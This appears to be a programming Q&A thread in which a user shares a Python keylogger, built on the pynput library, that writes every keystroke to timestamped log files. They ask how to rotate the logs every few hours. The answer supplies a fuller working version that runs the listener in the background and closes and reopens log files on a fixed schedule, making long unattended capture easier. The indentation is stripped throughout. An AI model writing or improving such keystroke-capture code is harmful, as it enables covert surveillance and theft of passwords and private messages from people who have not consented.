This is my keylogger code:
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time
start = time.time()
now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]
def on_press(key):
keys.append(key)
write_file(keys)
try:
print(key.char)
except AttributeError:
print(key)
def write_file(keys):
with open ('log-'+str(dt)+'.txt','w') as f:
for key in keys:
# end=time.time()
# tot_time=end-start
k=str(key).replace("'","")
f.write(k.replace("Key.space", ' ').replace("Key.enter", '\n'))
# if tot_time>5.0:
# f.close()
# else:
# continue
with Listener(on_press=on_press) as listener:
listener.join()
In write_file() function, I've used the close method and also the timer which should automatically save the file after 5 seconds, but that gives me a long 1 paged error whose last line says:
ValueError: I/O operation on closed file.
How do I make my program save the txt file after every 5 seconds and create a new txt file automatically?
NOTE: I actually want the log file to be generated automatically after every 4 hours so that it is not flooded with uncountable words. I've just taken 5 seconds as an example.
You may have to customize the first line.
schedule = [ '08:00:00', '12:00:00', '16:00:00', '20:00:00'] # schedule for close/open file (must ascend)
import pynput
from pynput.keyboard import Listener
def on_press(key):
txt = key.char if hasattr( key, 'char') else ( '<'+key._name_+'>')
# do some conversions and concatenate to line
if txt == '<space>': txt = ' '
if txt == None: txt = '<?key?>' # some keyboards may generate unknown codes for Multimedia
glo.line += txt
if (len(glo.line) > 50) or (txt=='<enter>'):
writeFile( glo.fh, glo.line+'\n')
glo.line = ''
def writeFile( fh, txt):
fh.write( txt)
def openFile():
from datetime import datetime
dt=datetime.now().strftime('%d%m%Y-%H%M%S')
fh = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
return fh
def closeFile( fh):
fh.close()
def closeAndReOpen( fh, line):
if len( line) > 0:
writeFile( fh, line+'\n')
closeFile( fh)
fh = openFile()
return fh
class Ticker():
def __init__( self, sched=None, func=None, parm=None):
# 2 modes: if func is supplied, tick() will not return. Everything will be internal.
# if func is not supplied, it's non-blocking. The callback and sleep must be external.
self.target = None
self.sched = sched
self.func = func
self.parm = parm
def selectTarget( self):
for tim in self.sched: # select next target time (they are in ascending order)
if tim > self.actual:
self.target = tim
break
else: self.target = self.sched[0]
self.today = (self.actual < self.target) # True if target is today.
def tick( self):
from datetime import datetime
while True:
self.actual = datetime.now().strftime( "%H:%M:%S")
if not self.target: self.selectTarget()
if self.actual < self.target: self.today = True
act = (self.actual >= self.target) and self.today # True if target reached
if act: self.target = '' # next tick will select a new target
if not self.func: break # Non-blocking mode: upper level will sleep and call func
# The following statements are only executed in blocking mode
if act: self.func( self.parm)
time.sleep(1)
return act # will return only if func is not defined
class Glo:
pass
glo = Glo()
glo.fh = None
glo.line = ''
glo.fini = False
glo.fh = openFile()
listener = Listener( on_press=on_press)
listener.start()
ticker = Ticker( sched=schedule) # start ticker in non-blocking mode.
while not glo.fini:
import time
time.sleep(1)
if ticker.tick():
# time to close and reopen
glo.fh = closeAndReOpen( glo.fh, glo.line)
glo.line = ''
listener.stop()
writeFile( glo.fh, glo.line+'\n')
closeFile( glo.fh)
exit()
If you're satisfied, you may mark the answer as "ACCEPTed".